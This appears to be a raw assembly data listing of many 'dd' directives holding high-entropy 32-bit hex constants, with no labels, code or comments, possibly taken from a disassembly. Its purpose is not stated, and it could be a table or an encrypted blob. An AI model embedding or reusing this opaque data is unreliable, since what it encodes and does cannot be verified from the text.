dd 0AEB5529h, 29A3CCE8h, 0E51D82CDh, 0DCD80DC6h, 65EC44FBh
dd 30FADDC5h, 0B7B7E140h, 75BCE483h, 0BF80BF71h, 0DFE241FCh
dd 0CAF78010h, 0B3B72168h, 282421CFh, 0AE600937h, 0E5820595h
dd 6495C6B0h, 9F02CE7Dh, 5DC01F8Eh, 1DB6E73Fh, 250C775Ch
dd 76BCDDA5h, 85B09063h, 3776729Dh, 8C860A28h, 5BD1DAF9h
dd 9218DDFAh, 1B02397Ch, 298EBBE4h, 0E233818Ch, 9CD4B196h
dd 0FBD05451h, 2F78A600h, 0E1BB16DAh, 0F674224h, 0B437C3D2h
dd 0B2008F25h, 0C0B80965h, 0FDEED377h, 7F27073Bh, 838CEDCFh
dd 1CDB7242h, 671FA93Ch, 46187DE8h, 9D4F5965h, 0BBC382F0h
dd 9C79DC7Ah, 84B5F5CFh, 0D482DDD6h, 0EBD32B14h, 0BE424857h
dd 0DA81F894h, 47787D13h, 0A53146DFh, 2C982F0Ch, 0A14B9E74h
dd 3231FA9Fh, 24A15D0Dh, 307C4570h, 0EEC7BE69h, 2B096DABh
dd 79956A36h, 0C5A5B079h, 45248CD4h, 5EB07917h, 0C45DD29Dh
dd 5F1B9A09h, 0AF774F7Ch, 833D52FBh, 0DA2E91E5h, 8040BBFFh
dd 92EA6EF4h, 726F4AF1h, 536CB0F5h, 647577FEh, 33D6739Dh
dd 92B4B7FAh, 0E57068EEh, 0CF1A22FCh, 0E3C4EDCBh, 140D89E1h
dd 0B62AEC4Ch, 0FC1B2E84h, 0A37F397Eh, 0E99E9B0Eh, 3BDBDEF3h
dd 36212CF2h, 899F7E87h, 4335BEB8h, 0A05D4B44h, 73D99FC0h
dd 6AA06ECBh, 0EBAD5109h, 33786797h, 4EF8531Ch, 0B774B1BDh
dd 80BFD377h, 0D82EAA44h, 0FC10D5F8h, 83DCE3D9h, 0EC4BBDF4h
dd 0B37E21FEh, 6A0CB86Dh, 44FE586Fh, 813415E2h, 0C5D1C4BFh
dd 0DB8729FAh, 0FD1E0CE7h, 0F2A78751h, 53321D5Bh, 0BB514AFBh
dd 0A7BDBA80h, 81A72971h, 0A6F5BDA3h, 8E5766D9h, 3D4E1B00h
dd 3ADCB487h, 0F1F813A3h, 63F04A5Fh, 0DAA1F1A2h, 409F07C1h
dd 0C9B5660Ch, 5AB552CCh, 3C9825C5h, 9E3787Bh, 189AD4Bh
dd 0BD414326h, 0C96AA26Fh, 0DFC4F802h, 95E70441h, 80CC7B87h
dd 9306929h, 115AB756h, 658CC40Bh, 4DDF7848h, 8D903CC8h
dd 0F7592BF3h, 313ED44Fh, 0DE15BAE8h, 3F207287h, 0D995BFA8h
dd 164F01C5h, 67CEB7F3h, 0FB97838Fh, 0D8F9201Eh, 0FD8C2B69h
dd 164A9AA7h, 6DB58FB9h, 7009AAA4h, 0CF334709h, 9C0FBC81h
dd 845AC31Bh, 4019F8A0h, 2C7AC361h, 54E764Fh, 20B1B88Ah
dd 56509480h, 0C3F9C7C2h, 0B9D49C82h, 0C76BCDC4h, 8494EF09h
dd 0BB4A8FC8h, 57ADBEFDh, 0FF3743D8h, 0EFAD59FCh, 87E3E935h
dd 267D251Ch, 0DC39B215h, 0EC2637BCh, 0D25FA4Ah, 0DBEC66B5h
dd 0D884FA09h, 0C201F83Fh, 6790325Fh, 0EDD14A35h, 0B2CC0F03h
dd 0FE4616B7h, 49BA51CDh, 9755A50Eh, 0C335DE5Ah, 0E06BCC43h
dd 7BFACC3Eh, 4CDA12EBh, 0AE09D11Ch, 1E70ED26h, 862D18A5h
dd 6123EB8Eh, 0A5D557CAh, 38A9308Dh, 692C8D66h, 9A5CFCBCh
dd 748B6793h, 643B10BEh, 22129DB8h, 0ACDA4694h, 7EB80C98h
dd 8D6049BCh, 0D09EBB50h, 8249AEFEh, 0DB0E71DEh, 9C19F988h
dd 5F2BEEF8h, 0BDEE6CFBh, 0FD3752B3h, 7B946849h, 155F1ACBh
dd 0E50778BAh, 3ADEC62Ch, 33DF1917h, 1239F7EEh, 298293AAh
dd 3E627EB7h, 0BC453444h, 0B61E7191h, 245E2481h, 39D215C0h
dd 0F3ABA97h, 19FE50A9h, 0C130EF28h, 0E577B160h, 1C73AA6Eh
dd 7F01975Ah, 1CE141A8h, 3C4620CDh, 6B3F4486h, 0CD15F132h
dd 68636C2Bh, 1B2FEB1Dh, 0B885D37Fh, 461FC7D3h, 8972556Dh
dd 0A67A62C7h, 22F94118h, 6E245235h, 7E8E5AA5h, 0BC041B27h
dd 0D1E7B072h, 0AA39C933h, 81ED3AD9h, 0B303078Fh, 0A0F9D8CCh
dd 0AB6EF77Dh, 0BF8A9077h, 54F0F142h, 29612937h, 445CB5EDh
dd 85F4295Ch, 0D0F7860Bh, 235CD173h, 58B76D45h, 55C33EA5h
dd 0E1A51CDFh, 2579FDBDh, 3A4615A8h, 869AF77Bh, 0D068799Ah
dd 665FB8E0h, 2EE18328h, 9C404304h, 6908AE0h, 0C863EB01h
dd 42589FE8h, 287DFF76h, 4C17CCF5h, 1FC15569h, 0E601D54Dh
dd 0B77067CAh, 0D57F7E1Ch, 7440C67h, 0FED5691Dh, 5CEC02C8h
dd 0EB67CC70h, 5C132F66h, 0AB4DAAD8h, 0E026A3A2h, 0F3E6E568h
dd 0F9865E99h, 7F459A23h, 4BF6261Bh, 0A0C36B93h, 0E2A50C7h
dd 0F9C9EB97h, 43280F1Eh, 0AE45C624h, 64476A56h, 827F7B6Dh
dd 296BE59Dh, 0AC8A47FFh, 0F4261FFBh, 0AC2DBF58h, 16BFC2D6h
dd 92C0BC64h, 0CF9071F9h, 7E8CBE12h, 9D72D0ACh, 0B6147E4Eh
dd 89A7070Dh, 9828A510h, 78FC2E67h, 0FE72F532h, 17E4060Dh
dd 0A913F085h, 99B7F5EFh, 2CAA211Ah, 7305F31Eh, 0E3635CF5h
dd 8EE11A65h, 1595CF9Bh, 145FED10h, 0FBE1796Eh, 0F5B1F08Bh
dd 7CFCE8BEh, 4699D910h, 0C5DA7F7Eh, 59E8B94Dh, 8E64E62h
dd 0A140185Bh, 4F98760Dh, 5989A91Eh, 0B038C609h, 0EDD3AC8Ah
dd 0E16F4Bh, 0B5341ABAh, 71FD7EF1h, 0C30CDEDFh, 51E50677h
dd 569490C7h, 0B321B466h, 0EB699A00h, 55389F9Ah, 8118854Bh
dd 66FE943Ah, 1412B8D8h, 621A3061h, 73030F05h, 40339E4Dh
dd 947128E1h, 60B8E6AAh, 0C2710D5Fh, 0F914F424h, 85CF7358h
dd 6A084C05h, 3904B908h, 2D0943C5h, 3941CE12h, 0D0F27FC3h
dd 0E8452FCAh, 0C1222110h, 0F4BA7C8Bh, 31DE1E05h, 0B3709EAEh
dd 8F88E754h, 7A8CB5CFh
dd 34467EB9h, 49BAA8BBh, 77573F71h, 0C8B404C7h, 1ED7DB87h
dd 831BDAA9h, 0FFDA659h, 4430DC58h, 8A8C1A72h, 2226BBA0h
dd 37003545h, 15792453h, 809C3B99h, 74C9714h, 5F4AA5F3h
dd 6E41B35Eh, 0F9F9FDCh, 43D4BEDEh, 8ACE0630h, 0EA2EF5F0h
dd 0B790943h, 0BB8E5A73h, 69567D3Dh, 717323F8h, 0BCCADECAh
dd 35998EC8h, 2490B4EBh, 0BD163D24h, 2F2EC158h, 43A6B5AFh
dd 7BC4AEF2h, 54834A82h, 7A9F3DE9h, 5D5CDED5h, 2BBE05A1h
dd 0FB01A422h, 0FE6A90C7h, 0C6FA68A0h, 219E18ADh, 0FD90E832h
dd 0D93C6964h, 1D893932h, 40CCAF5Fh, 7B05F1B2h, 0D057215Ah
dd 9B2D30B6h, 2A3E35h, 721063B3h, 729C511h, 28AB3E8Bh
dd 0C1A74EF0h, 0B6614Dh, 9B912E0h, 55C1A99Eh, 0FF52D707h
dd 4086CEB9h, 702B1473h, 360061E6h, 0ACBCB2FDh, 0E0EF0719h
dd 0AC8A0913h, 0FBD3DDAAh, 0E3E635C8h, 0DDE2540h, 0C3F34EECh
dd 0E3AD145Eh, 99941D01h, 0ACDF49E5h, 40291D44h, 4E1F88h
dd 0D4DE57A5h, 0FC4F9C41h, 3B3A7B36h, 23B1B168h, 205841FEh
dd 8DAE4E12h, 2B6BC9EEh, 381E89DFh, 0B5392860h, 30EA0A74h
dd 4A3249Fh, 316B2D95h, 43648F06h, 0DC39DBD5h, 0E2ED4C90h
dd 0DA9DD882h, 9371C82Dh, 0CC4CFAE2h, 0C4D82FBDh, 0A2F071C9h
dd 0D28BEB60h, 9292E0Dh, 1163A312h, 6FBFFB0Dh, 0CA2479F0h
dd 1569262h, 4F5770E8h, 0E7525503h, 51AA0C35h, 0EB3BE3Eh
dd 0BC1E071Dh, 5086BBB7h, 85C99303h, 75A10B63h, 190880C6h
dd 29F0669Ah, 3F9A68E4h, 0A6E9248Dh, 5F7D9840h, 1376946Bh
dd 19AAE845h, 811746BBh, 3879F26Bh, 0B5520D19h, 25DDFCA0h
dd 51338ADEh, 0C07247CEh, 4D9A1A80h, 9820BC41h, 9267FFB4h
dd 6AC4727Dh, 964102A2h, 0ED9A5353h, 5A6CAC8Dh, 0AC15A092h
dd 201134E8h, 52F4610Fh, 0A5E7B292h, 2F4A762Fh, 287E3BF3h
dd 83CBC159h, 45A25FE0h, 0D9741297h, 90783DCFh, 455F62FBh
dd 7D80A049h, 8E297E5Eh, 9035A311h, 6840A8BBh, 0DC7071F2h
dd 929E59A8h, 51163DDAh, 626EFA12h, 0E132D041h, 49732130h
dd 5212F746h, 8CB74BCBh, 84F19C33h, 74184564h, 0F1D786D2h
dd 0A96B39Eh, 4DC886A2h, 87A80725h, 0B80BB20Fh, 0BB6F2465h
dd 791774F9h, 930D4531h, 0B372A698h, 9E0BFFC0h, 7EA81F96h
dd 592DB1BDh, 69B6A506h, 0BC95D362h, 3B1A67D9h, 1BD89032h
dd 7D5629CBh, 67306641h, 0BE4AC1B9h, 0A6D728Ch, 0EC22FD7Fh
dd 676916FBh, 4EF0B165h, 0BED86534h, 0FE6D0920h, 0EAC9900Dh
dd 0F168A225h, 0A55FFBE0h, 0C5D03A30h, 0C41DA74Ch, 176B04B7h
dd 67985D37h, 0FB0EAAFh, 60038AA1h, 6A7C2BFAh, 82D37F52h
dd 614D34A7h, 41D2B4F7h, 9E075F4h, 59371391h, 2C3FDE6Bh
dd 22A8DF5Fh, 0F207EDBDh, 74688A02h, 0D86EED56h, 1A1035Eh
dd 1D9547B5h, 0F7FD3F39h, 7ABCC454h, 2AB9B4BBh, 9E5D2C6Dh
dd 531962B6h, 0C4996B1Dh, 8ACD7022h, 40C8813Ah, 0D84D8994h
dd 8D1EBA21h, 0E58DD2E0h, 0F0CA46D0h, 7FC94445h, 541C2045h
dd 3B6D4AE6h, 0FA6C5814h, 0CB1DA253h, 0FA499A11h, 1FA9D67Ah
dd 8C777922h, 0D0812706h, 8126EAD8h, 0DEDAA092h, 34DABBB0h
dd 0C0A8067Ch, 568F7E11h, 0B64D68B5h, 0CDB2FB00h, 0B946DBA7h
dd 1CF65840h, 59FE242h, 19EE3E3Bh, 0FD321B3Fh, 473098D8h
dd 0BDD987EDh, 41BC291Bh, 8C5DE9EBh, 0BED5B53Ah, 1E6A1F87h
dd 48783DE8h, 0C75CD31Dh, 7C73B5D8h, 699589B7h, 7264935Bh
dd 0B473E07Ah, 9338F7F8h, 0F369BFAAh, 0F33D09A0h, 0EBF25282h
dd 0B80A5E17h, 0D4530150h, 2FEA2847h, 0F5A0D3DCh, 3B790602h
dd 0A0DEFD83h, 4A261596h, 0C3CBE2C3h, 7B3FFB87h, 0DCCBACF4h
dd 0EDACD75Bh, 0A775AB52h, 0A62D811Ah, 4F50805Fh, 5AA75C14h
dd 683F1916h, 1C350E7Dh, 5B722B2h, 77EB3869h, 7531047Ah
dd 2063D737h, 3841FE56h, 8EBB35B4h, 0E6262838h, 46B4A6D6h
dd 3A3FFF39h, 88A66F67h, 2C74D434h, 1792AD4Ch, 9BEA6AE8h
dd 6AB085BAh, 0E6EBD0h, 3C4F78BAh, 0ED937868h, 0F13A39E5h
dd 8F3D82FBh, 793348F1h, 0E588F18Bh, 0BC15C885h, 53683D89h
dd 6F9FBC85h, 48824FA1h, 6533ABB6h, 7BFEE39Bh, 704EB621h
dd 0C3286F7Eh, 12082E71h, 753B31D8h, 5A3A8BC4h, 262A6852h
dd 41976CA7h, 9277710Ah, 87D489E2h, 588709Fh, 0FB65A80Bh
dd 0D6AE049Fh, 120886EEh, 0D04FB7B8h, 0A4E11AACh, 0DFB04E07h
dd 89BD2AD3h, 29D63A75h, 62854F6Bh, 4815861Fh, 0C87B0BD1h
dd 0A7A18550h, 17CBF855h, 9316FA4Ah, 0FA09499Ah, 0CB0EEF01h
dd 9ECCB3ECh, 301CC8BCh, 72274C80h, 0DBBE8FD1h, 4BFCC336h
dd 0C5EF89ADh, 533BE6FAh, 4D142611h, 0F58776DAh, 79FD689Eh
dd 0E48134D1h, 0BE81EB0Eh, 35665C6Eh, 33AF7B93h, 0A6FA457Bh
dd 1A00201Dh, 0BC7E36EBh, 0EAD6F6D9h, 8EABD333h, 0CA0118D9h
dd 2B03CC2h, 5F2F3F49h, 5338D320h, 14F36A7Eh, 469EE3E2h
dd 0A9260058h, 0F6C88ED1h, 7F300F87h, 0C85DD64h, 873108C9h
dd 0DF5C8237h, 4099A7CDh, 0DABDFC63h, 9022D3F1h, 5B1DC774h
dd 7C475C7Ch, 0CC4432BFh, 0E21F4A53h, 0D80AF971h, 0CD96E400h
dd 350FEC0Dh, 52E7D101h, 3E51B192h, 69E6F74Eh, 0CCA5B14Ch
dd 4ED64164h, 0B68C9CD1h, 58B709DDh, 0B278D116h, 3384DE5h
dd 0C5D469AFh, 6EFE780Eh, 4F549E5Bh, 6A6E2260h, 0A82B3F62h
dd 4B540DB0h, 0D49AB840h, 885E9665h, 0B2E29E17h, 0DF4A52D9h
dd 45517D8Eh, 0A788C339h, 0C7B7B805h, 744D5701h, 2081D4D1h
dd 0B4546A6h, 516B8C4Fh, 4EC028F8h, 8BB40593h, 1E376A0Eh
dd 7ECE986Fh, 0B49AC776h, 0EC1646D1h, 57A73CE1h, 2A1DC114h
dd 0DFCB4605h, 0F70AE474h, 175D70DBh, 0C2643655h, 0A3ED3218h
dd 0CC0A3299h, 0DF548107h, 10F6E704h, 0D9666D49h, 679F9DCFh
dd 2BDBB50Ch, 1BBE4AB9h, 48D9892Ch, 6D1A48A1h, 4785C620h
dd 0C6DBA405h, 1A9AEBF2h, 417A2E60h, 7310E76Dh, 552AAA2Eh
dd 1426AED9h, 2E3B69D0h, 0CD3F5B3Bh, 37AEE143h, 0EED3A51Ah
dd 27B4029Ah, 5B9AF260h, 0AD533829h, 0EB95201Ah, 0F213C27Bh
dd 1C5A7D1Fh, 77C45CDEh, 9EE9646Eh, 2D2473C4h, 0B11D63D1h
dd 0C6DEACE7h, 0C0DB9357h, 7FE56258h, 5CCB2FBAh, 3E5C3EC5h
dd 0C23DF8CCh, 46108ECCh, 3418BD5Dh, 9F3BB7B6h, 0FBE79A6h
dd 7B11F46Ah, 5B31F28Ch, 58B293D4h, 0E165058Bh, 5E7BB1D6h
dd 857AAA51h, 0FD238BB6h, 6C52265Bh, 0F6921961h, 0AF5FF358h
dd 0E2CA39FAh, 36C81EB5h, 0BAAE100Ch, 81863A75h, 0DC456289h
dd 631265EBh, 0F37110E7h, 1E471A75h, 0A5848C70h, 41C5D65Fh
dd 5E7336B0h, 19E41C22h, 923EB988h, 738C00CFh, 7CBD9EC3h
dd 0AC5E2527h, 22D25BC2h, 0D907A8ADh, 42494DF7h, 0C070C2D2h
dd 80D2752Dh, 0E5876EF7h, 291EDA15h, 0A858B78Bh, 3867993Dh
dd 5F2976B9h, 0C00862D0h, 0B943E262h, 0EB8A8B5Bh, 0FDAE65EFh
dd 0A8FC9CAAh, 442C8F2h, 6A296F08h, 1BF54F36h, 0C6283E8Bh
dd 54F3C58h, 7C2B8132h, 4F58CB8Dh, 5B77848Ah, 6CADC7BDh
dd 0C422C59Fh, 0C562BBEFh, 67F91F8Ch, 35D84664h, 0C4DD8CEAh
dd 149B5025h, 0D3C922B7h, 8417207Eh, 16CE62C8h, 0A6506D05h
dd 0BB4219D6h, 0D05DFF89h, 19E0D6E6h, 0BE0AE360h, 1254713Fh
dd 86969BB5h, 6BE5BCE5h, 78BC5969h, 4F81D9FBh, 1F60F6C4h
dd 5F6253ABh, 0C6650E1Ch, 0B38B3FCEh, 595A1485h, 0CA64D5B7h
dd 0F2E307FAh, 7DDCE8B1h
dd 66850ADAh, 172C2564h, 0BEC51EA0h, 2A0B4F21h, 7B22978Fh
dd 31088A56h, 0EBF2A33Fh, 986D0F71h, 4BF285B4h, 2E870E56h
dd 3ECFBD6Dh, 0EF7AC2B7h, 32131C65h, 1F97A02Fh, 0E8315F43h
dd 1DBE26E7h, 82DB9D19h, 54BC7131h, 6C19262Dh, 0A090D97Fh
dd 0A58583E4h, 4DCFBC9h, 6045FCDFh, 0B7F037D7h, 11B39DABh
dd 8049D10Eh, 2BD23CF4h, 78893CCFh, 8BE207D3h, 0A0FB8AAh
dd 4EA730DAh, 7247EE9Ch, 0B932C10Ch, 0EAE66038h, 0C3E39067h
dd 0D8CA6219h, 0F8377AC8h, 1DFCBAh, 4515F370h, 93F027C7h
dd 0B1D2C798h, 86400E47h, 9818B1B5h, 0BB00B279h, 48134465h
dd 0D1F8C823h, 338D2119h, 631DCCB8h, 4A3B142Eh, 27F10C98h
dd 44B9F77Ch, 4DDBD0Eh, 92CE408Eh, 0FDE64056h, 0EE969B4Dh
dd 0EB679D12h, 7C70C545h, 982C1CADh, 5B40CA51h, 0DB5EB05Dh
dd 0C859B4B9h, 0D68794FDh, 8F23B2DAh, 0D08D1CFCh, 9305EB80h
dd 71C661CAh, 0BB63D24Dh, 4EB40A6Fh, 8A429DC3h, 71541F0Ch
dd 0D09C3FB2h, 0CE28AA56h, 0E4C06374h, 29DBB520h, 0F294BA23h
dd 0F2907565h, 1B32A402h, 0EF18CE2Ah, 2718DAE9h, 0F296F9EBh
dd 43710582h, 0E5C78A6Fh, 0B6A787A2h, 99A9B86Bh, 432C616Eh
dd 230FBBD9h, 0F290C4F5h, 0CDF3A6C9h, 0DFFCBCF2h, 2DD046B2h
dd 643E3D88h, 0A715EDD9h, 0BE5FC4DEh, 8A9444FDh, 0B6D38BABh
dd 99086A35h, 0F0E7EDC3h, 6278667Ah, 76062026h, 7A201F38h
dd 2602C790h, 322CED30h, 0A35347EBh, 3AFF40F3h, 772E71CBh
dd 0E6765A3Ch, 0A808F52h, 66C96E74h, 0B8EA43C2h, 0CF00B3D9h
dd 8632600Eh, 0E00B75A8h, 2C2E2345h, 0FDF2DFF1h, 49B193AFh
dd 0E9E2760Ah, 0F78DF74Ah, 6F434D8Ah, 0EEEF8DFFh, 0D6A53BA8h
dd 8EB17A34h, 0F2899B87h, 0E52596BDh, 101BD672h, 38588130h
dd 1C6A9A7Eh, 7B556887h, 0B2D8CE56h, 0B5A19F02h, 0BF004F09h
dd 6692CE9h, 404F35B5h, 6F56B4CCh, 0EFFEA215h, 87CDA8A0h
dd 8DB207E6h, 0AB915EA8h, 22E40803h, 0AC44D4BCh, 977C1C34h
dd 61D1107Dh, 0A47B3C5Dh, 0E44FF089h, 50B0648Bh, 6BE4A234h
dd 129901CBh, 0F4B440CCh, 17E2E11Ah, 6E75BD82h, 7C0B2FA3h
dd 5D66D078h, 802B9AA6h, 8982931h, 0BCCAB302h, 0EB66AAEh
dd 2FEA542h, 44C3FEF7h, 0BDE166E5h, 0EECCA96h, 5D5C691Dh
dd 0F7ED9925h, 4C656644h, 6F7F4B60h, 622EACB9h, 0C604BFFAh
dd 6476E49Ch, 0B1C85930h, 6F7017Ch, 991BF776h, 34A084DDh
dd 0C6FEA344h, 4A4EF4D5h, 5C9B1B3Ch, 0E87A754Bh, 1BC32250h
dd 877964A0h, 0FA216859h, 3670614Eh, 0AC09FB96h, 93559BDEh
dd 1AD9DD15h, 6A1AE96Dh, 101E8270h, 0EB904592h, 0D8471A42h
dd 0C1DEDB9Fh, 0FC5BDE0Ah, 0F93C6475h, 13F842C6h, 0E1B5BCC4h
dd 8238BDCh, 0F6A0E9F2h, 70F582CAh, 4EA2096Eh, 0ABEFC9B4h
dd 45BC158Ah, 9FF1239Eh, 26C7D599h, 4C3A96F9h, 0FE698A11h
dd 0CDC0833Eh, 0E8160818h, 0E2460928h, 678B2C13h, 0FF9012F1h
dd 95CBC2E2h, 0E94B77FAh, 0A7FA43A7h, 8323CAB9h, 9EB73607h
dd 44E07E15h, 0AEB22454h, 5636EC35h, 0E83B3C4h, 30E93BC3h
dd 23822E59h, 13CB24DAh, 7F1FD534h, 0F050A90Ch, 0E4618C74h
dd 0E9C89E08h, 0BB803AE8h, 0EBA2B46Ah, 1EF479F0h, 0BAA0219h
dd 15C36C67h, 50C6AA68h, 0CD21700Eh, 59358C08h, 94C51FF1h
dd 1036F6B6h, 7043BAD9h, 0E905D9DFh, 0A6B80900h, 4AFBC4A4h
dd 0C0E25610h, 3A4A1711h, 8F7D5DDAh, 2027FA78h, 73835BAFh
dd 0D7E1F270h, 0B93C4AA0h, 0C020B489h, 200FC9E6h, 0BB2F6FFBh
dd 9A14DAB7h, 77B270C8h, 0B3136632h, 26CAAB88h, 8B825E1Eh
dd 90CE247Bh, 5EC97CE4h, 5118BDF5h, 0BC29820Ch, 0DE01E5E4h
dd 0A7A3A209h, 0CD030A21h, 0A56D59B1h, 98F3D00Ch, 23CD3FE0h
dd 0E7216B8Ah, 7B5B54C3h, 18B773CFh, 4000D3E5h, 0D6A8ABB2h
dd 26CDDC60h, 24A56DCh, 0BD3EFE6Ch, 0BF11775Fh, 0F14E762h
dd 640C04F4h, 3CF75F42h, 0FDD8F283h, 72689ECFh, 22873A2Eh
dd 672F6F48h, 2A1CFDC8h, 18EDCB96h, 73CADBAAh, 60EBF0F6h
dd 2342C5B0h, 0B437440Fh, 0ACF1F416h, 6B4063Ch, 91CA5446h
dd 89E4BC1Dh, 0F392694Eh, 3321FC44h, 0AE6FC2D1h, 7E3A9A23h
dd 6942F263h, 0C0BC4E46h, 281CCC5Ah, 4453FFFBh, 71C5788Fh
dd 549E1867h, 0DC598F99h, 0F679C3FCh, 0A0840A54h, 4F67D57Bh
dd 7AA2868Ch, 1502A962h, 1EB6B738h, 0D007903Ch, 0E9778D89h
dd 0FDB0DFDCh, 113CB54h, 0A9F8E1DAh, 0B71F301Bh, 0E7F12D04h
dd 0FC6D969Bh, 82F6B2C5h, 5D73FBCDh, 6A665F9h, 4138DD64h
dd 0B8E33196h, 0A969DB3Ah, 0E32CAE6h, 1F6DDFDCh, 0D74C1F4Bh
dd 0B7F62A9Ah, 89E34EF8h, 3DF0A53Dh, 34B1BCFFh, 144B866Fh
dd 2FA1FF70h, 598C1282h, 0C39DDDF2h, 64F751E6h, 35DE4BB9h
dd 8AC3B0EDh, 0FB912EFh, 3FD427F9h, 70931C33h, 9BE842F7h
dd 517A4DACh, 21A88125h, 92259735h, 0E19B1553h, 9E5871F9h
dd 0FD10C399h, 203834B6h, 0DC41CE37h, 4B00BF7h, 6BAD054Fh
dd 0A4D92FD4h, 3D94A1DFh, 0E056F6A7h, 0A970F29h, 0D14AA7EBh
dd 0DF214F08h, 87E1047Fh, 19C6A401h, 60304C0h, 88295DC2h
dd 2DC8F59Fh, 0D513AF49h, 0A2BEFB92h, 0CF64446Fh, 82CFD7F1h
dd 0E5C54Eh, 98C47D2Ah, 2461EA84h, 0E573304Ah, 5318393Ch
dd 0A690F5E3h, 5F8FC658h, 96930525h, 0D7D1BA38h, 420122ACh
dd 0B1ACFF00h, 0BB7BAF3h, 0B6646371h, 29C62CDDh, 4A242101h
dd 1750BED5h, 0BBE4C04Ch, 0EF6191DBh, 7BBE614Eh, 407EF2Ch
dd 41073CD5h, 0F9F01578h, 0AC57F766h, 100BC960h, 18899253h
dd 0BD76CCBEh, 0C0F31E41h, 3B90477Bh, 0DCB18AAEh, 64B032A2h
dd 22AE0B6h, 47BDB180h, 65FD9791h, 4643BA27h, 7FB68015h
dd 0E14A5B7Eh, 3C8DCB94h, 0EB2948D5h, 1E33077Bh, 0E13B7528h
dd 0EEFD82D6h, 0F6F4145h, 64DD41A8h, 0D6DBF747h, 0E57F0B8Ch
dd 9F07445Eh, 0FD546C4Fh, 1C53A002h, 38B97077h, 0E08E3CD8h
dd 6DAB6360h, 3088C4ECh, 0EC78703Fh, 0AACD8596h, 33DB9AE2h
dd 0CEB18FBDh, 497DB5A9h, 95C55A3Eh, 41A2B38Dh, 0BBFE1E9Fh
dd 0C92F9430h, 0F24BC48Eh, 0A971CBB6h, 917548C8h, 98622A06h
dd 28939C3Fh, 9A4A4C1Ah, 21ABBEE9h, 0B15D722h, 0B67B45A9h
dd 0A58B2560h, 9E5E4888h, 0F2B56667h, 71B4EA93h, 0CEC1084Bh
dd 0A5CFFDDBh, 6B728237h, 3C7B85D9h, 798F3DCCh, 6AB50641h
dd 0E119BFBFh, 66B97ECEh, 0F8519D6h, 0AC670583h, 0F3A31405h
dd 0DD0B483Eh, 7A56E2CFh, 0B7F2871Fh, 0E1DB7546h, 0D29C0EA8h
dd 0D055B787h, 0A94F29DEh, 0BDCC4CEh, 2ABE3733h, 75A28150h
dd 45E9DEBh, 0B558EBBAh, 2F9C18Eh, 0D89E541h, 0E76387ACh
dd 7614F774h, 0C740AE44h, 39213971h, 2DBEBE99h, 0C13F4319h
dd 7946679h, 9635BF34h, 0C9D85F1Dh, 7D89D7D8h, 51D57AA5h
dd 8AE410C7h, 79BEC86Bh, 0BEA44EC6h, 28ACB3A3h, 0ED8BE9AAh
dd 30DAC36Ah, 0CD71E60Ah, 928F466Dh, 0B54350F9h, 2EBAEDCBh
dd 2A100597h, 9C15C6A5h, 86879920h, 0EF3D2D06h, 92DA62F6h
dd 5313551Ch, 0AB4500FBh, 5E3E04EBh, 0CC942912h, 4BC5D02Dh
dd 0E0468A47h, 0A1F7A1BAh, 0B114AAFCh, 88160E79h, 3A69EE5Fh
dd 0E8D764E0h, 0A4FF91EAh, 0CF9199B7h, 0F8E0E79Ah, 0E0477AF0h
dd 0EA0F946Eh, 8B7B676h, 12472299h, 84A987EDh, 4FB28C21h
dd 0A4A4DAE4h, 78ADC10h, 0C7B45371h, 4AE1C970h, 9BB06291h
dd 39457E3h, 0F5F78076h
dd 0B2AC586Bh, 0A6FDE88Fh, 0EEB42722h, 6C72E896h, 179E0D37h
dd 7DC33B71h, 0F0AB7BA7h, 8F0AB2A8h, 839F7D95h, 0B47A21C6h
dd 0B664BA49h, 0FFE8817Fh, 5CE1077Dh, 648FCDA5h, 0D490FCBAh
dd 52FA0BBBh, 6EC0B9BEh, 55B7E809h, 4C5F6271h, 0E25E5292h
dd 2CB67C8Ch, 499D9FCCh, 2D870A67h, 8E919010h, 0C5160C7h
dd 20AEB5A4h, 0D642367Ah, 0CDCBC739h, 68D532BEh, 8F1943ADh
dd 7A0B2BBBh, 598FA769h, 5CA896B4h, 3F25795Ch, 0CBCEA9FAh
dd 50E3279Fh, 1295C666h, 0A49288C8h, 2207D778h, 949CDE5h
dd 8DC8215Eh, 9D4FF3BEh, 0A9A9C0BEh, 398CB14Ch, 6737A259h
dd 853FAC3Fh, 952E6E70h, 0EB2FC7B1h, 82189119h, 0D74AFBC1h
dd 2A83509Ah, 0AB3E2B5Fh, 9AAE105Bh, 8B376233h, 4DCB36A7h
dd 7FD6A5ACh, 943B7D07h, 14AC01EDh, 0C0FF8F34h, 83552A31h
dd 538D573Ah, 0D7856D45h, 984043A9h, 0B9AF8C1Eh, 0FF2A96FDh
dd 10F4A7C5h, 5A67C884h, 8402172Fh, 0FE5E14DDh, 49F25F34h
dd 53386A66h, 0E07D1D1Ch, 5E189B6Bh, 62B37442h, 7ABD5E50h
dd 6A337BA9h, 5AB46B51h, 54DDC1CDh, 5422EFCBh, 77B7F70Eh
dd 1EB103E3h, 0E9A52414h, 0A37BBC66h, 0E42F23DBh, 42C2267Bh
dd 1E3BC877h, 9E0BCD0Ch, 400E96C5h, 0CDCE1B6Ch, 0DF99D5EDh
dd 5891A830h, 0C9FE0E80h, 0D13833B1h, 885127C2h, 58D66ADh
dd 3E5EB0C4h, 8613CCD0h, 0AAF0AA88h, 9B51B9BFh, 7DE406BDh
dd 2D3C59D6h, 1A97D91Bh, 7E2694CDh, 5E044168h, 638FC013h
dd 0A126DB24h, 0B63194F2h, 0C3E36E05h, 0F5DDA69Fh, 832FDA8Bh
dd 724EB8E7h, 8A8F3B35h, 31AB431Dh, 2DF33859h, 53DE28EBh
dd 76F45221h, 51EB8FC3h, 3737EC4Ah, 0E779628Ch, 0DFC51F4Bh
dd 0DA804E85h, 0E4A272B8h, 0DB3E14E8h, 3B545DD7h, 0B6816852h
dd 0A1FE9000h, 462DE63Ch, 14C8DB55h, 0DC2191CBh, 81A2FB6Ah
dd 0F336FECh, 11A8A53Eh, 302A16CEh, 34EE777Dh, 0AEC215BEh
dd 387BCC12h, 0B889772Fh, 0F3DBA466h, 5C468BA7h, 0A5B9D3E8h
dd 93A2709Bh, 966715E2h, 67AE8917h, 83837C6Ch, 509D1A67h
dd 7CCB7C27h, 0D94D10F5h, 0CD043829h, 21C5BCFFh, 97E189C2h
dd 8B09DC4Eh, 0AD7D240Ch, 7F2C1DAh, 3A98596h, 1BBDC277h
dd 49F34896h, 0FC0ED700h, 0ABE22C69h, 2C6E9655h, 541C2EC2h
dd 6F8E9C60h, 1135118Dh, 0F168F6BAh, 16F7127Ch, 0F9B9947Eh
